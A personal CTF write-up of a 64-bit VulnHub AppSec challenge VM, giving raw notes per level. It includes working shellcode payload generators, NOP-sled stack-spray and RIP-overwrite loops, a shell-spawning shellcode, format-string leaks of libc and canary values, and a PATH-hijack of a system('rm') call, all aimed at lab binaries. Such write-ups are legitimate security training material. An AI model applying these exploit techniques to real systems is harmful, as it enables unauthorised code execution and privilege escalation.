The Pentesters - 64bit AppSec Challenge
I was excited to see an interesting challenge thrown down on VulnHub a while back. A new VM was added and linked to a challenge from The Pentesters offering a massive grand prize of $150. Okay, maybe not massive, but that’s a personal license for Binary Ninja plus some Threatbutt Enterprise licenses so I was in.
Ultimately I did not finish all the challenges. I got burned out after discovering that the VM was released without proper testing. ASLR was mistakenly left on which made things trickier but wasn’t that big of a deal. I was a bit frustrated that some challenges turned out to be unexploitable. After a while I lost motivation to burn hours on untested challenges. What follows below is my (very) raw notes for the challenges that I did do.
Level 1
flag{s33_64bit_1snt_4s_h4rd_4s_y0u_th0ught}
With ASLR enabled I ended up using a stack spray to deliver my shellcode since the binaries were mostly compiled without DEP enabled. My stack spray technique involved creating a python script to output a 100KB nop sled and then my shellcode. The shellcode was just a command to chmod 666
the flag. Then I created 10 environment variables each containing the payload so that when the binary is loaded, the ~100KB payload is placed on the stack in 10 places. I ran the binary in a debugger to find a decent address somewhere in the middle of the spray and then just ran the binary with the vulnerability trigger in a loop until the payload was run.
My first attempt at this technique was much more crude and ran overnight but I tweaked it over time to get it to work within a few hours. Here are the pieces…
Payload generator:
#!/usr/bin/python
sc = (
"\x48\x31\xc9\x48\x81\xe9\xf8\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xf9\xa7\xe7\x8e\xbc\x62\xfc\x51\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x93\x9c\xbf\x17\xf4\xd9"
"\xd3\x33\x90\xc9\xc8\xfd\xd4\x62\xaf\x19\x70\x40\x8f\xa3\xdf"
"\x62\xfc\x19\x70\x41\xb5\x66\xaa\x62\xfc\x51\x9a\xcf\x8a\xe1"
"\xd8\x42\xca\x67\xcf\x87\x81\xe2\xdd\x05\xd1\x3d\x9c\xd1\x82"
"\xe2\x8d\x62\xaa\x06\xb1\x2e\x01\x81\xb9\x62\xfc\x51"
)
print "\x90"*102400 + sc
Spray the stack:
set SHELLCODE{0,9}=`/tmp/chall1.py`
Loop to trigger the vulnerability (just vanilla RIP overwrite at offset 72):
while true; do ./chall1 `python -c 'print "A"*72 + "\xa7\x4d\x23\x3e\xff\x7f"'`; done
In a different shell, check if the flag is readable every 5 minutes.
while sleep 300; do if [ -r flag-level1 ]; then cat flag-level1; fi; done
Level 2
flag{st4tic_str1ngs_m4ke_l1fe_e4sy}
The password is hardcoded in the binary and can be recovered using strings
etc.
n00b@64bitprimer:~/level2$ ./chall2
Please enter your password.
sup3rs3cr3tp4ssw0rd
Congrats you passed challenge2! flag{st4tic_str1ngs_m4ke_l1fe_e4sy}
n00b@64bitprimer:~/level2$
Level 3
Unexploitable - integer can be overflowed but to put a valid address at the top of the stack when it RETs you have to put the two null bytes at the beginning of the address. The strlen calls stop when they come to nulls. Strlen is used to calculate how many bytes memcpy should copy so even if the integer is overflowed, the buffer cannot be overflowed if a valid address is provided. DoS is as follows:
n00b@64bitprimer:~/level3$ python -c 'print "A"*56 + "B"*8 + "C"*194' >/tmp/3.txt
gdb-peda$ r asdf < /tmp/3.txt
Starting program: /opt/challenges/level3/chall3 asdf < /tmp/3.txt
Valid username.
Welcome, asdf!
What is your password?
Nope. n0 shellz4u.
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x1
RBX: 0x0
RCX: 0x7fdb7abd2710 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x7fdb7aea79e0 --> 0x0
RSI: 0x7fdb7b0cb000 ("Nope. n0 shellz4u.\nrd?\n")
RDI: 0x1
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7ffd5047b308 ("BBBBBBBB", 'C' <repeats 192 times>...)
RIP: 0x4007b5 (<checkPasswd+191>: ret)
R8 : 0x2e75347a6c6c6568 ('hellz4u.')
R9 : 0xfffffffffffffe00
R10: 0xfffffffffffffdf0
R11: 0x246
R12: 0x400600 (<_start>: xor ebp,ebp)
R13: 0x7ffd5047b400 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4007aa <checkPasswd+180>: call 0x400570 <puts@plt>
0x4007af <checkPasswd+185>: mov eax,0x0
0x4007b4 <checkPasswd+190>: leave
=> 0x4007b5 <checkPasswd+191>: ret
0x4007b6 <main>: push rbp
0x4007b7 <main+1>: mov rbp,rsp
0x4007ba <main+4>: sub rsp,0x10
0x4007be <main+8>: mov DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7ffd5047b308 ("BBBBBBBB", 'C' <repeats 192 times>...)
0008| 0x7ffd5047b310 ('C' <repeats 194 times>, "\n\022")
0016| 0x7ffd5047b318 ('C' <repeats 186 times>, "\n\022")
0024| 0x7ffd5047b320 ('C' <repeats 178 times>, "\n\022")
0032| 0x7ffd5047b328 ('C' <repeats 170 times>, "\n\022")
0040| 0x7ffd5047b330 ('C' <repeats 162 times>, "\n\022")
0048| 0x7ffd5047b338 ('C' <repeats 154 times>, "\n\022")
0056| 0x7ffd5047b340 ('C' <repeats 146 times>, "\n\022")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004007b5 in checkPasswd ()
gdb-peda$
Level 4
n00b@64bitprimer:~/level4$ ./chall4 test
#---------------------------------#
Welcome to notepad-- (minus minus)!
#---------------------------------#
For all your coding and note-taking
necessities.
Press enter twice to write the file to disk.
%lx.%lx.%lx.%lx.%lx.%lx.%lx
n00b@64bitprimer:~/level4$ tail test
7ffe81b09590.2e786c252e786c25.7f587dcd101c.0.7f587dcd44c0.7ffe81b0ae3a.2e786c252e786c25
n00b@64bitprimer:~/level4$
Level 5
flag{sh1ft_th3_b1ts}
This challenge is pretty much made for a concolic execution framework such as angr. I basically just ripped off Dave Manouchehri’s script here and changed the “find” and “avoid” variables in path_group.explore() to match the chall5 binary. Thanks Dave!
chall5.py:
#!/usr/bin/python
import angr
def main():
proj = angr.Project('./chall5', load_options={'auto_load_libs': False})
path_group = proj.factory.path_group(threads=4)
path_group.explore(find=0x40086E, avoid=0x40076D)
return path_group.found[0].state.posix.dumps(1)
if __name__ == "__main__":
print repr(main())
root@kali:~/Desktop# ./chall.py
...
'All you have to do is give us a valid token and you win.
Tokens should be in the following format (md5sum):
b1946ac92492d2347c6235b4d2611184
flag{sh1ft_th3_b1ts}'
root@kali:~/Desktop#
Level 6
flag{0ff_by_0n3_hmmmmm_sh*t_n33d_t0_f1x_th4t_0ne}
I don’t really remember this one. Apparently an off-by-one bug. I don’t think I spent much time on it.
#!/usr/bin/python
sc = (
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
)
print "\x90"*(63-len(sc)) + sc + "Z"
n00b@64bitprimer:~/level6$ ./chall6 `/tmp/chall6.py`
Bet ya can't pwn me!
#n00b
Bet ya can't pwn me! #n00b
$ cat flag-level6
flag{0ff_by_0n3_hmmmmm_sh*t_n33d_t0_f1x_th4t_0ne}
$
Took about a dozen tries (ASLR?)
Level 7
flag{bre4king_th3_bre4kp0int}
This one was pretty easy to reverse out the password as you can see in IDA:
After that I just nopped out a conditional jump in the binary to force execution into the decoding routine:
gdb-peda$ br doDec
gdb-peda$ r p4ssw0rd1337
gdb-peda$ set *(unsigned char*)0x4006f0 = 0x90
gdb-peda$ c
Continuing.
flag{bre4king_th3_bre4kp0int}[Inferior 1 (process 59277) exited normally]
Warning: not running or target is remote
gdb-peda$
Level 8
Level 9
flag{b3_c4r3ful_sm4sh1ng_th3_st4ck_y0u_m1ght_k1ll_th3_c4nar1es_t00}
This is a simple stack buffer overflow too only this time there was a static stack canary. I’m guessing I saw the static canary value during debugging at some point. Anyway, I did the same stack spray technique as Level 1.
Payload:
#!/usr/bin/python
sc = (
"\x48\x31\xc9\x48\x81\xe9\xf8\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xb2\x5c\x30\xcd\x77\x21\xb4\xcc\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xd8\x67\x68\x54\x3f\x9a"
"\x9b\xae\xdb\x32\x1f\xbe\x1f\x21\xe7\x84\x3b\xbb\x58\xe0\x14"
"\x21\xb4\x84\x3b\xba\x62\x25\x61\x21\xb4\xcc\xd1\x34\x5d\xa2"
"\x13\x01\x82\xfa\x84\x7c\x56\xa1\x16\x46\x99\xa0\xd7\x2a\x55"
"\xa1\x4e\x21\xe2\x9b\xfa\xd5\xd6\xc2\x72\x21\xb4\xcc"
)
print "\x90"*102400 + sc
Slightly smarter stack spray:
n00b@64bitprimer:~/level9$ for i in `seq 1 10`; do export SHELLCODE$i=`/tmp/chall9.py`; done
Dump bug triggering input to a file:
n00b@64bitprimer:~/level9$ python -c 'print "A"*40 + "\xEF\xBE\xAD\xDE\xEF\xBE\xAD\xDE" + "B"*8 + "\x2e\x0d\x5f\xf1\xfd\x7f"' > /tmp/9.txt
Trigger bug in a loop hoping we land in stack spray:
n00b@64bitprimer:~/level9$ while true; do ./chall9 < /tmp/9.txt; done
Check for flag every 5 minutes:
n00b@64bitprimer:~/level9$ while sleep 300; do if [ -r flag-level9 ]; then cat flag-level9 && break; fi; done
flag{b3_c4r3ful_sm4sh1ng_th3_st4ck_y0u_m1ght_k1ll_th3_c4nar1es_t00}
Level 10
flag{pwnsh_1snt_4s_s4fe_4s_1t_s0unds}
This one was fun! The binary logs all your input to a file in /tmp. When you exit the binary it deletes this temporary log. Only problem is it does it by system("rm /tmp/log");
without giving a full path for rm
. Exploitation then just involved copying /bin/dash to /tmp/rm, putting ‘.’ in the beginning of my $PATH, running the binary and just typing out contents of a shell script, and then exiting the binary:
n00b@64bitprimer:~/level10$ cd /tmp
n00b@64bitprimer:/tmp$ cp /bin/dash rm
n00b@64bitprimer:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
n00b@64bitprimer:/tmp$ PATH=.:$PATH /opt/challenges/level10/chall10
pwnsh> #!/bin/dash
Invalid command! Try again.
pwnsh> cat /opt/challenges/level10/flag-level10
Invalid command! Try again.
pwnsh> exit
flag{pwnsh_1snt_4s_s4fe_4s_1t_s0unds}
We hoped you enjoy your experience with pwnsh!
Thank you, and remember, stay civil folks.
Goodbye, n00b.
n00b@64bitprimer:/tmp$
Level 11
no flag given :(
I made a script to generate hash collisions:
#!/usr/bin/python
import random, string
def codeOne(guess):
"""Find value that ends up with result == 103"""
result = 0
i = 0
while (i < len(guess)):
try:
num = ord(guess[i]) - 48
except IndexError:
break
if ( i & 1 ):
result += num
else:
result += num * num
i += 1
return result
def codeTwo(guess):
"""Find value that ends up with result == 0x3CD9D601"""
x = 0
i = 0
xored = 0
while (i < len(guess)):
shifted = ( x << 3 | x >> ( 32 - 3 ) ) & 0xFFFFFFFF
try:
xored ^= ord(guess[i]) + shifted
except IndexError:
break
x = xored
i += 1
#print hex(xored) #DEBUG
return xored
if __name__ == "__main__":
code1 = 0
code2 = 0
while not code1 or not code2:
length = random.randint(4, 32)
rand = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(length)])
if not code1:
if codeOne(rand) == 103:
print "Code One: " + rand
code1 = 1
if not code2:
if codeTwo(rand) == 0x3CD9D601:
print "Code Two: " + rand
code2 = 1
I ran it and it found something that would work for code 1 pretty quickly. Code 2 took a lot longer. I ended up running it in 8 concurrent tmux panes to try to maximize my 8-core CPU. In hindsight I should have just used python’s threading module to execute 8 threads. Regardless, it eventually found a code that worked for code 2:
n00b@64bitprimer:~/level11$ ./chall11 086N2I XQRwwosSnyXNCLJqOPCPwM
[*] Welcome to the nuclear launch mainframe.
[*] Authorizing code one.
[*] Code one has been authorized, arming nukes now.
[*] Authorizing code two.
[*] Code two has been authorized.
[*] Launching nuclear missles now.
[*] Printing flag to screen now.
n00b@64bitprimer:~/level11$
Level 12
Unexploitable integer overflow for the same reason as Level 3. Below format strings shows how to leak a libc address and the canary which would be useful if int overflow was exploitable.
n00b@64bitprimer:~/level12$ ./chall12 %2\$lx.%79\$lx
Valid username.
Welcome, 7f10f013e9e0.44b19bd412e78600!
What is your password?
May be exploitable directly via format string attack, but…
Level 13
Level 14
This is the same idea as one of the other ones but it adds stack cookie protection and a format string vulnerability.
You could leak the stack cookie with the format string vulnerability, or probably even exploit it directly through the format string bug, but…
Level 15
flux capacitor. symbols stripped, runs ptrace to see if attached to debugger and alters execution flow. gets random number before asking for input.
Level 16
pwnsh v2